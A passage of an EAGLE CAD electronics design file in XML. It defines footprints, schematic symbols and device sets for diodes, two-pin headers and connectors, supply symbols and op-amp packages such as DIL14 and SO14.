width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"1.905\" y1=\"0.635\" x2=\"1.905\" y2=\"-0.635\" width=\"0.2032\" layer=\"21\"/>\n<pad name=\"A\" x=\"-3.81\" y=\"0\" drill=\"0.9\" diameter=\"1.8796\"/>\n<pad name=\"C\" x=\"3.81\" y=\"0\" drill=\"0.9\" diameter=\"1.8796\"/>\n<text x=\"-2.54\" y=\"1.27\" size=\"0.4064\" layer=\"25\">&gt;Name</text>\n<text x=\"-2.032\" y=\"-0.508\" size=\"0.8128\" layer=\"21\">&gt;Value</text>\n</package>\n<package name=\"SMB-DIODE\">\n<description>&lt;b&gt;Diode&lt;/b&gt;&lt;p&gt;\nBasic small signal diode good up to 200mA. SMB footprint. Common part #: BAS16</description>\n<wire x1=\"-3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.2606\" y1=\"1.905\" x2=\"2.2606\" y2=\"1.905\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-2.2606\" y1=\"-1.905\" x2=\"2.2606\" y2=\"-1.905\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-2.261\" y1=\"-1.905\" x2=\"-2.261\" y2=\"1.905\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"2.261\" y1=\"-1.905\" x2=\"2.261\" y2=\"1.905\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"0.643\" y1=\"1\" x2=\"-0.73\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.73\" y1=\"0\" x2=\"0.643\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.643\" y1=\"-1\" x2=\"0.643\" y2=\"1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.73\" y1=\"1\" x2=\"-0.73\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"C\" x=\"-2.2\" y=\"0\" dx=\"2.4\" dy=\"2.4\" layer=\"1\"/>\n<smd name=\"A\" x=\"2.2\" y=\"0\" dx=\"2.4\" dy=\"2.4\" layer=\"1\"/>\n<text x=\"-2.159\" y=\"2.159\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.905\" y=\"-3.429\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.794\" y1=\"-1.0922\" x2=\"-2.2606\" y2=\"1.0922\" layer=\"51\"/>\n<rectangle x1=\"2.2606\" y1=\"-1.0922\" x2=\"2.794\" y2=\"1.0922\" layer=\"51\"/>\n</package>\n<package name=\"DIODE-HV\">\n<wire x1=\"-3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.973\" y1=\"-1.983\" x2=\"-3.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.973\" y1=\"1.983\" x2=\"3.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.2606\" y1=\"1.905\" x2=\"2.2606\" y2=\"1.905\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-2.2606\" y1=\"-1.905\" x2=\"2.2606\" y2=\"-1.905\" width=\"0.1016\" layer=\"21\"/>\n<wire x1=\"-2.261\" y1=\"-1.905\" x2=\"-2.261\" y2=\"1.905\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"2.261\" y1=\"-1.905\" x2=\"2.261\" y2=\"1.905\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"0.643\" y1=\"1\" x2=\"-0.73\" y2=\"0\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.73\" y1=\"0\" x2=\"0.643\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"0.643\" y1=\"-1\" x2=\"0.643\" y2=\"1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.73\" y1=\"1\" x2=\"-0.73\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"C\" x=\"-2.454\" y=\"0\" dx=\"2.2\" dy=\"2.4\" layer=\"1\"/>\n<smd name=\"A\" x=\"2.454\" y=\"0\" dx=\"2.2\" dy=\"2.4\" layer=\"1\"/>\n<text x=\"-2.159\" y=\"2.159\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.905\" y=\"-3.429\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.794\" y1=\"-1.0922\" x2=\"-2.2606\" y2=\"1.0922\" layer=\"51\"/>\n<rectangle x1=\"2.2606\" y1=\"-1.0922\" x2=\"2.794\" y2=\"1.0922\" layer=\"51\"/>\n</package>\n</packages>\n<symbols>\n<symbol name=\"M02\">\n<wire x1=\"3.81\" y1=\"-2.54\" x2=\"-2.54\" y2=\"-2.54\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"2.54\" x2=\"2.54\" y2=\"2.54\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"2.54\" y2=\"0\" width=\"0.6096\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"5.08\" x2=\"-2.54\" y2=\"-2.54\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"3.81\" y1=\"-2.54\" x2=\"3.81\" y2=\"5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-2.54\" y1=\"5.08\" x2=\"3.81\" y2=\"5.08\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"-5.08\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<text x=\"-2.54\" y=\"5.842\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<pin name=\"1\" x=\"7.62\" y=\"0\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"2\" x=\"7.62\" y=\"2.54\" visible=\"pad\" length=\"middle\" direction=\"pas\" swaplevel=\"1\" rot=\"R180\"/>\n</symbol>\n<symbol name=\"DIODE\">\n<wire x1=\"-1.27\" y1=\"-1.27\" x2=\"1.27\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"-1.27\" y2=\"1.27\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"1.27\" x2=\"1.27\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.27\" y1=\"1.27\" x2=\"-1.27\" y2=\"-1.27\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"1.27\" y2=\"-1.27\" width=\"0.254\" layer=\"94\"/>\n<text x=\"2.54\" y=\"0.4826\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"2.54\" y=\"-2.3114\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"A\" x=\"-2.54\" y=\"0\" visible=\"off\" length=\"short\" direction=\"pas\"/>\n<pin name=\"C\" x=\"2.54\" y=\"0\" visible=\"off\" length=\"short\" direction=\"pas\" rot=\"R180\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"M02\" prefix=\"JP\" uservalue=\"yes\">\n<description>&lt;b&gt;Header 2&lt;/b&gt;\nStandard 2-pin 0.1\" header. Use with straight break away headers (SKU : PRT-00116), right angle break away headers (PRT-00553), swiss pins (PRT-00743), machine pins (PRT-00117), and female headers (PRT-00115). Molex polarized connector foot print use with SKU : PRT-08233 with associated crimp pins and housings.</description>\n<gates>\n<gate name=\"G$1\" symbol=\"M02\" x=\"-2.54\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"PTH\" package=\"1X02\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"POLAR\" package=\"MOLEX-1X2\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3.5MM\" package=\"SCREWTERMINAL-3.5MM-2\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"-JST-2MM-SMT\" package=\"JST-2-SMD\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"PTH2\" package=\"1X02_BIG\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"4UCON-15767\" package=\"JST-2-SMD-VERT\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"GND\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"VCC\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"ROCKER\" package=\"R_SW_TH\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"P$3\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"P$4\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"5MM\" package=\"SCREWTERMINAL-5MM-2\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"LOCK\" package=\"1X02_LOCK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"POLAR_LOCK\" package=\"MOLEX-1X2_LOCK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"LOCK_LONGPADS\" package=\"1X02_LOCK_LONGPADS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3.5MM_LOCK\" package=\"SCREWTERMINAL-3.5MM-2_LOCK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"PTH3\" package=\"1X02_LONGPADS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"1X02_NO_SILK\" package=\"1X02_NO_SILK\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"JST-PTH-2\" package=\"JST-2-PTH\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"PTH4\" package=\"1X02_XTRA_BIG\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"POGO_PIN_HOLES_ONLY\" package=\"1X02_PP_HOLES_ONLY\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"3.5MM-NO_SILK\" package=\"SCREWTERMINAL-3.5MM-2-NS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"-JST-2-PTH-NO_SILK\" package=\"JST-2-PTH-NS\">\n<connects>\n<connect gate=\"G$1\" pin=\"1\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"2\" pad=\"2\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"DIODE\" prefix=\"D\" uservalue=\"yes\">\n<description>&lt;b&gt;Diode&lt;/b&gt;\nThese are standard reverse protection diodes and small signal diodes. SMA package can handle up to about 1A. SOD-323 can handle about 200mA. What the SOD-323 package when ordering, there are some mfgs out there that are 5-pin packages.</description>\n<gates>\n<gate name=\"G$1\" symbol=\"DIODE\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"SMA\" package=\"SMA-DIODE\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"C\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"PTH\" package=\"DIODE-1N4001\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"C\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SOD\" package=\"SOD-323\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"2\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"1\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SOT23\" package=\"SOT23-3\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"1\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"3\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"1N4148\" package=\"DIODE-1N4148\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"C\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"SMB\" package=\"SMB-DIODE\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"C\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n<device name=\"HV\" package=\"DIODE-HV\">\n<connects>\n<connect gate=\"G$1\" pin=\"A\" pad=\"A\"/>\n<connect gate=\"G$1\" pin=\"C\" pad=\"C\"/>\n</connects>\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"supply1\">\n<description>&lt;b&gt;Supply Symbols&lt;/b&gt;&lt;p&gt;\n GND, VCC, 0V, +5V, -5V, etc.&lt;p&gt;\n Please keep in mind, that these devices are necessary for the\n automatic wiring of the supply signals.&lt;p&gt;\n The pin name defined in the symbol is identical to the net which is to be wired automatically.&lt;p&gt;\n In this library the device names are the same as the pin names of the symbols, therefore the correct signal names appear next to the supply symbols in the schematic.&lt;p&gt;\n &lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;</description>\n<packages>\n</packages>\n<symbols>\n<symbol name=\"+5V\">\n<wire x1=\"1.27\" y1=\"-1.905\" x2=\"0\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"-1.27\" y2=\"-1.905\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"-5.08\" size=\"1.778\" layer=\"96\" rot=\"R90\">&gt;VALUE</text>\n<pin name=\"+5V\" x=\"0\" y=\"-2.54\" visible=\"off\" length=\"short\" direction=\"sup\" rot=\"R90\"/>\n</symbol>\n<symbol name=\"VCC\">\n<wire x1=\"1.27\" y1=\"-1.905\" x2=\"0\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"-1.27\" y2=\"-1.905\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"-2.54\" size=\"1.778\" layer=\"96\" rot=\"R90\">&gt;VALUE</text>\n<pin name=\"VCC\" x=\"0\" y=\"-2.54\" visible=\"off\" length=\"short\" direction=\"sup\" rot=\"R90\"/>\n</symbol>\n<symbol name=\"+3V3\">\n<wire x1=\"1.27\" y1=\"-1.905\" x2=\"0\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"-1.27\" y2=\"-1.905\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"-5.08\" size=\"1.778\" layer=\"96\" rot=\"R90\">&gt;VALUE</text>\n<pin name=\"+3V3\" x=\"0\" y=\"-2.54\" visible=\"off\" length=\"short\" direction=\"sup\" rot=\"R90\"/>\n</symbol>\n<symbol name=\"GND\">\n<wire x1=\"-1.905\" y1=\"0\" x2=\"1.905\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<text x=\"-2.54\" y=\"-2.54\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"GND\" x=\"0\" y=\"2.54\" visible=\"off\" length=\"short\" direction=\"sup\" rot=\"R270\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"+5V\" prefix=\"P+\">\n<description>&lt;b&gt;SUPPLY SYMBOL&lt;/b&gt;</description>\n<gates>\n<gate name=\"1\" symbol=\"+5V\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\">\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"VCC\" prefix=\"P+\">\n<description>&lt;b&gt;SUPPLY SYMBOL&lt;/b&gt;</description>\n<gates>\n<gate name=\"VCC\" symbol=\"VCC\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\">\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"+3V3\" prefix=\"+3V3\">\n<description>&lt;b&gt;SUPPLY SYMBOL&lt;/b&gt;</description>\n<gates>\n<gate name=\"G$1\" symbol=\"+3V3\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\">\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n<deviceset name=\"GND\" prefix=\"GND\">\n<description>&lt;b&gt;SUPPLY SYMBOL&lt;/b&gt;</description>\n<gates>\n<gate name=\"1\" symbol=\"GND\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\">\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"linear\">\n<description>&lt;b&gt;Linear Devices&lt;/b&gt;&lt;p&gt;\nOperational amplifiers,  comparators, voltage regulators, ADCs, DACs, etc.&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;</description>\n<packages>\n<package name=\"DIL14\">\n<description>&lt;b&gt;Dual In Line Package&lt;/b&gt;</description>\n<wire x1=\"8.89\" y1=\"2.921\" x2=\"-8.89\" y2=\"2.921\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.89\" y1=\"-2.921\" x2=\"8.89\" y2=\"-2.921\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.89\" y1=\"2.921\" x2=\"8.89\" y2=\"-2.921\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.89\" y1=\"2.921\" x2=\"-8.89\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.89\" y1=\"-2.921\" x2=\"-8.89\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.89\" y1=\"1.016\" x2=\"-8.89\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\" curve=\"-180\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"-3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"2\" x=\"-5.08\" y=\"-3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"7\" x=\"7.62\" y=\"-3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"8\" x=\"7.62\" y=\"3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"3\" x=\"-2.54\" y=\"-3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"4\" x=\"0\" y=\"-3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"6\" x=\"5.08\" y=\"-3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"5\" x=\"2.54\" y=\"-3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"9\" x=\"5.08\" y=\"3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"10\" x=\"2.54\" y=\"3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"11\" x=\"0\" y=\"3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"12\" x=\"-2.54\" y=\"3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"13\" x=\"-5.08\" y=\"3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<pad name=\"14\" x=\"-7.62\" y=\"3.81\" drill=\"0.8128\" shape=\"long\" rot=\"R90\"/>\n<text x=\"-9.271\" y=\"-3.048\" size=\"1.27\" layer=\"25\" ratio=\"10\" rot=\"R90\">&gt;NAME</text>\n<text x=\"-6.731\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"SO14\">\n<description>&lt;b&gt;Small Outline Package 14&lt;/b&gt;</description>\n<wire x1=\"4.305\" y1=\"-1.9\" x2=\"-4.305\" y2=\"-1.9\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-4.305\" y1=\"-1.9\" x2=\"-4.305\" y2=\"-1.4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-4.305\" y1=\"-1.4\" x2=\"-4.305\" y2=\"1.9\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"4.305\" y1=\"-1.4\" x2=\"-4.305\" y2=\"-1.4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"4.305\" y1=\"1.9\" x2=\"4.305\" y2=\"-1.4\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"4.305\" y1=\"-1.4\" x2=\"4.305\" y2=\"-1.9\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-4.305\" y1=\"1.9\" x2=\"4.305\" y2=\"1.9\" width=\"0.2032\" layer=\"51\"/>\n<smd name=\"2\" x=\"-2.54\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"13\" x=\"-2.54\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"1\" x=\"-3.81\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"3\" x=\"-1.27\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"4\" x=\"0\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"14\" x=\"-3.81\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"12\" x=\"-1.27\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"11\" x=\"0\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"6\" x=\"2.54\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"9\" x=\"2.54\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"5\" x=\"1.27\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"7\" x=\"3.81\" y=\"-2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"10\" x=\"1.27\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"8\" x=\"3.81\" y=\"2.6\" dx=\"0.6\" dy=\"2.2\" layer=\"1\"/>\n<text x=\"-4.572\" y=\"-1.905\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"5.842\" y=\"-1.905\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-4.055\" y1=\"-3.1\" x2=\"-3.565\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"-2.785\" y1=\"-3.1\" x2=\"-2.295\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"-1.515\" y1=\"-3.1\" x2=\"-1.025\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"-0.245\" y1=\"-3.1\" x2=\"0.245\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"-0.245\" y1=\"2\" x2=\"0.245\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"-1.515\" y1=\"2\" x2=\"-1.025\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"-2.785\" y1=\"2\" x2=\"-2.295\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"-4.055\" y1=\"2\" x2=\"-3.565\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"1.025\" y1=\"-3.1\" x2=\"1.515\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"2.295\" y1=\"-3.1\" x2=\"2.785\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"3.565\" y1=\"-3.1\" x2=\"4.055\" y2=\"-2\" layer=\"51\"/>\n<rectangle x1=\"3.565\" y1=\"2\" x2=\"4.055\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"2.295\" y1=\"2\" x2=\"2.785\" y2=\"3.1\" layer=\"51\"/>\n<rectangle x1=\"1.025\" y1=\"2\" x2=\"1.515\" y2=\"3.1\" layer=\"51\"/>\n</package>\n</packages>\n<symbols>\n<symbol name=\"OPAMP\">\n<wire x1=\"-5.08\" y1=\"5.08\" x2=\"-5.08\" y2=\"-5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-5.08\" y1=\"-5.08\" x2=\"5.08\" y2=\"0\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"5.08\" y1=\"0\" x2=\"-5.08\" y2=\"5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-3.81\" y1=\"3.175\" x2=\"-3.81\" y2=\"1.905\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-4.445\" y1=\"2.54\" x2=\"-3.175\" y2=\"2.54\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-4.445\" y1=\"-2.54\" x2=\"-3.175\" y2=\"-2.54\" width=\"0.1524\" layer=\"94\"/>\n<text x=\"2.54\" y=\"3.175\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"2.54\" y=\"-5.08\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"-IN\" x=\"-7.62\" y=\"-2.54\" visible=\"pad\" length=\"short\" direction=\"in\"/>\n<pin name=\"+IN\" x=\"-7.62\" y=\"2.54\" visible=\"pad\" length=\"short\" direction=\"in\"/>\n<pin name=\"OUT\" x=\"7.62\" y=\"0\" visible=\"pad\" length=\"short\" direction=\"out\" rot=\"R180\"/>\n</symbol>\n<symbol name=\"PWR+-\">\n<text x=\"1.27\" y=\"3.175\" size=\"0.8128\" layer=\"93\" rot=\"R90\">V+</text>\n<text x=\"1.27\" y=\"-4.445\" size=\"0.8128\" layer=\"93\" rot=\"R90\">V-</text>\n<pin name=\"V+\" x=\"0\" y=\"7.62\" visible=\"pad\" 